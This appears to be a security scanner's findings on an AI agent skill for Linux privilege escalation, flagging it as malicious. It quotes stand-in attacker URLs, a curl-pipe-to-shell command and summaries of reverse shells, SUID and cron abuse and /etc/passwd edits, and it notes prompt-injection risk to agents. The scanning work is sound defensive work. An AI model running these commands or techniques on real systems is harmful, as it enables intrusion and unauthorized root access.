Linux Privilege Escalation

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 0.95). Highly suspicious: the list includes attacker-controlled URLs serving direct source/executable files (http://ATTACKER_IP/exploit.c and http://ATTACKER_IP:8000/linpeas.sh) alongside direct-download .sh scripts and exploit tooling — all of which can deliver and execute arbitrary code, even though some GitHub/GTFOBins links are legitimate resources.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). This content is an explicit, actionable playbook for unauthorized Linux privilege escalation and persistent remote access (reverse shells, sudo/SUID/cron/NFS abuse, kernel exploits, payload hosting), indicating clear malicious/backdoor intent.

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (high risk: 0.90). The skill's Phase 2 and other workflow steps explicitly instruct fetching and running public third-party resources (e.g., curl/wget of linpeas.sh from GitHub, references to GTFOBins and exploit-db/searchsploit) and to use the resulting output to choose and execute exploits, so untrusted web-hosted content would be ingested and could materially influence actions.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The skill explicitly runs remote install/exec commands such as "curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" (and uses wget to fetch exploit source like http://ATTACKER_IP/exploit.c), which downloads and executes external code at runtime and is presented as a required enumeration/exploitation dependency.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). This skill explicitly instructs enumeration and exploitation techniques to obtain root (compile/execute kernel exploits, create SUID binaries, modify /etc/passwd and cron scripts, add users, and launch reverse shells), which directs the agent to modify the machine's state and bypass security controls.